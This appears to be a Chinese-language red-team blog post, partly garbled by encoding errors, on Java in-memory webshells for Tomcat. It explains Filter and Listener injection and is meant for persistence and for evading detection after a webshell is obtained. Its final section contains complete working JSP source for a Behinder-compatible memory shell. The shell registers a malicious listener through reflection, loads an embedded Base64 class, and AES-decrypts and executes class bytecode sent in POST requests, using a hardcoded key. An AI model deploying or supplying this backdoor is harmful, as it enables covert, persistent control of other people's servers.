0x00聲明
以下內(nèi)容,來(lái)自長(zhǎng)白山攻防實(shí)驗(yàn)室作者原創(chuàng),由于傳播,利用此文所提供的信息而造成的任何直接或間接的后果和損失,均由使用者本人負(fù)責(zé),長(zhǎng)白山攻防實(shí)驗(yàn)室以及文章作者不承擔(dān)任何責(zé)任。
0x01前言
經(jīng)過(guò)最近幾年的攻防演練,內(nèi)存馬技術(shù)在打點(diǎn)中發(fā)揮越來(lái)越重要的地位,內(nèi)存馬相比傳統(tǒng)的webshell,更容易躲避傳統(tǒng)安全監(jiān)測(cè)設(shè)備的檢測(cè),通常被用來(lái)做持久化,規(guī)避檢測(cè),持續(xù)駐留目標(biāo)服務(wù)器中,本次主要結(jié)合攻防演練的經(jīng)驗(yàn)來(lái)系統(tǒng)闡述內(nèi)存馬技術(shù)。
0x02 內(nèi)存馬原理
在介紹原理之前,我想大家都有這樣一個(gè)困惑,在拿到webshell后,總擔(dān)心自己的webshell被管理員和其他攻擊隊(duì)發(fā)現(xiàn),從而不能持久化控制目標(biāo)主機(jī)。所以學(xué)好內(nèi)存馬原理至關(guān)重要,Java內(nèi)存馬類型如下:

其原理為客戶端發(fā)起一個(gè)web請(qǐng)求,中間件的各個(gè)獨(dú)立的組件Listener、Filter、Servlet會(huì)在請(qǐng)求過(guò)程中做監(jiān)聽、判斷、過(guò)濾操作,內(nèi)存馬利用請(qǐng)求過(guò)程在內(nèi)存中修改已有的組件或者動(dòng)態(tài)注冊(cè)一個(gè)新的組件,插入惡意的shellcode達(dá)到持久化的控制服務(wù)器。
內(nèi)存馬優(yōu)先級(jí)listener->filter->servlet,本文先講fileter型內(nèi)存馬,想到fileter內(nèi)存馬首先要理解過(guò)濾鏈(FilterChain),在一個(gè) Web 應(yīng)用程序中可以注冊(cè)多個(gè) Filter 程序,也可以在web.xml注冊(cè)多個(gè)組件,每個(gè) Filter 程序都可以針對(duì)某一個(gè) URL 進(jìn)行攔截。如果多個(gè) Filter 程序都對(duì)同一個(gè) URL 進(jìn)行攔截,那么這些 Filter 就會(huì)組成一個(gè)Filter 鏈(也稱過(guò)濾器鏈)在開發(fā)中同時(shí)處理多個(gè)對(duì)象,要用doFilter進(jìn)行處理。
0x03 內(nèi)存馬實(shí)現(xiàn)
我們已經(jīng)了解了Filter內(nèi)存馬的原理,filter會(huì)創(chuàng)建FilterChain,這里注入Filter型內(nèi)存馬的3個(gè)對(duì)象的定義如下:
>filterDefs存放了filter的定義,比如名稱跟對(duì)應(yīng)的類>filterConfigs除了存放了filterDef還保存了當(dāng)時(shí)的Context>FilterMaps則對(duì)應(yīng)了web.xml中配置的
每個(gè)Filter執(zhí)行完之后需要執(zhí)行FilterChain#do-Filter放行,然后會(huì)繼續(xù)進(jìn)入到下一個(gè)filter,依次執(zhí)行每個(gè)filter里面的doFilter()方法,而我們實(shí)現(xiàn)filter內(nèi)存馬也就是往FilterChain里加一個(gè)filter。
首先在filter里創(chuàng)建doFilter()方法,實(shí)現(xiàn)冰蝎馬的請(qǐng)求,其中request方法是接受serlvet的請(qǐng)求,session獲取session,利用pageContext.put方法進(jìn)行保存信息。

FilterMap對(duì)filter進(jìn)行封裝,定義其名稱和URLPattern

將filter添加到FilterConfig中進(jìn)行調(diào)用。

最后放到指定主機(jī)上運(yùn)行即可
0x04 內(nèi)存馬實(shí)戰(zhàn)
拿到webshell后,將寫的內(nèi)存馬傳到web目錄下,進(jìn)行連接如下:

用冰蝎3.0進(jìn)行連接,連接成功。注意Tomcat版本不同,內(nèi)存馬封包后的程序不同,需要進(jìn)行不同版本的修改。

0x05 本文源代碼
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="javax.servlet.*" %><%@ page import="java.io.IOException" %><%@ page import="java.lang.reflect.Field" %><%@ page import="java.util.HashMap" %><%@ page import="java.lang.reflect.Method" %><%@ page import="javax.crypto.Cipher" %><%@ page import="javax.crypto.spec.SecretKeySpec" %><%@ page import="java.util.Map" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="org.apache.catalina.connector.RequestFacade" %><%@ page import="org.apache.catalina.connector.Request" %><%@?page?import="org.apache.catalina.connector.Response"?%><%class GreetListener implements ServletRequestListener{private?final?String?pa?=?"3ad2fddfe8bad8e6";@Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {}@Overridepublic void requestInitialized(ServletRequestEvent servletRequestEvent) {try{RequestFacade requestfacade= (RequestFacade) servletRequestEvent.getServletRequest();Field field = requestfacade.getClass().getDeclaredField("request");field.setAccessible(true);Request request = (Request) field.get(requestfacade);Response response = request.getResponse();HttpSession?session?=?request.getSession();MappageContext = new HashMap();pageContext.put("session", session);pageContext.put("request", request);pageContext.put("response",?response);ClassLoader?cl?=?(ClassLoader)Thread.currentThread().getContextClassLoader();if (request.getMethod().equals("POST")){if(cl.getClass().getSuperclass().getName().equals("java.lang.ClassLoader")){Class Lclass = cl.getClass().getSuperclass();RushThere(Lclass,cl,session,request,pageContext);}else if(cl.getClass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")){Class Lclass = cl.getClass().getSuperclass().getSuperclass();RushThere(Lclass,cl,session,request,pageContext);}else if(cl.getClass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")){Class Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass();RushThere(Lclass,cl,session,request,pageContext);}else if(cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")){Class Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();RushThere(Lclass,cl,session,request,pageContext);}else if(cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")){Class Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();RushThere(Lclass,cl,session,request,pageContext);}else {Class Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();RushThere(Lclass,cl,session,request,pageContext);}}}catch(Exception ig){ig.printStackTrace();}}public void RushThere(Class Lclass, ClassLoader cl, HttpSession session, HttpServletRequest request,MappageContext){byte[] bytecode = java.util.Base64.getDecoder().decode("yv66vgAAADQAGgoABAAUCgAEABUHABYHABcBAAY8aW5pdD4BABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADTNjU4RpCNyDXxJ8iAnpW6LUCBs73Ta2KEdFkZXI7AQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAWIBAAJbQgEAClNvdXJjZUZpbGUBAAZVLmphdmEMAAUABgwAGAAZAQABVQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQADAAQAAAAAAAIAAAAFAAYAAQAHAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAIAAAABgABAAAAAgAJAAAAFgACAAAABgAKAAsAAAAAAAYADAANAAEAAQAOAA8AAQAHAAAAPQAEAAIAAAAJKisDK763AAKwAAAAAgAIAAAABgABAAAAAwAJAAAAFgACAAAACQAKAAsAAAAAAAkAEAARAAEAAQASAAAAAgAT");try {java.lang.reflect.Method define = Lclass.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);define.setAccessible(true);Class uclass = null;try {uclass = cl.loadClass("U");} catch (ClassNotFoundException e) {uclass = (Class) define.invoke(cl, bytecode, 0, bytecode.length);}Constructor constructor = uclass.getDeclaredConstructor(ClassLoader.class);constructor.setAccessible(true);Object u = constructor.newInstance(this.getClass().getClassLoader());Method Um = uclass.getDeclaredMethod("g", byte[].class);Um.setAccessible(true);String k = pa;session.setAttribute("u", k);Cipher c = Cipher.getInstance("AES");c.init(2, new SecretKeySpec(k.getBytes(), "AES"));byte[] eClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));Class eclass = (Class) Um.invoke(u, eClassBytes);Object a = eclass.newInstance();Method b = eclass.getDeclaredMethod("equals", Object.class);b.setAccessible(true);b.invoke(a, pageContext);return;}catch (Exception ig){ig.printStackTrace();}}}%><%ServletContext?servletContext?=??request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContext?applicationContext?=?(ApplicationContext)?appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContext?standardContext?=?(StandardContext)?stdctx.get(applicationContext);GreetListener servletRequestListener = new GreetListener();standardContext.addApplicationEventListener(servletRequestListener);out.println("長(zhǎng)白山攻防實(shí)驗(yàn)室");%>
0x06參考
https://www.cnblogs.com/zpchcbd/p/14814385.html
https://mp.weixin.qq.com/s/OWH42PojsFGO4fHSsUJhnw
歡迎關(guān)注長(zhǎng)白山攻防實(shí)驗(yàn)室微信公眾號(hào)
定期更新優(yōu)質(zhì)文章分享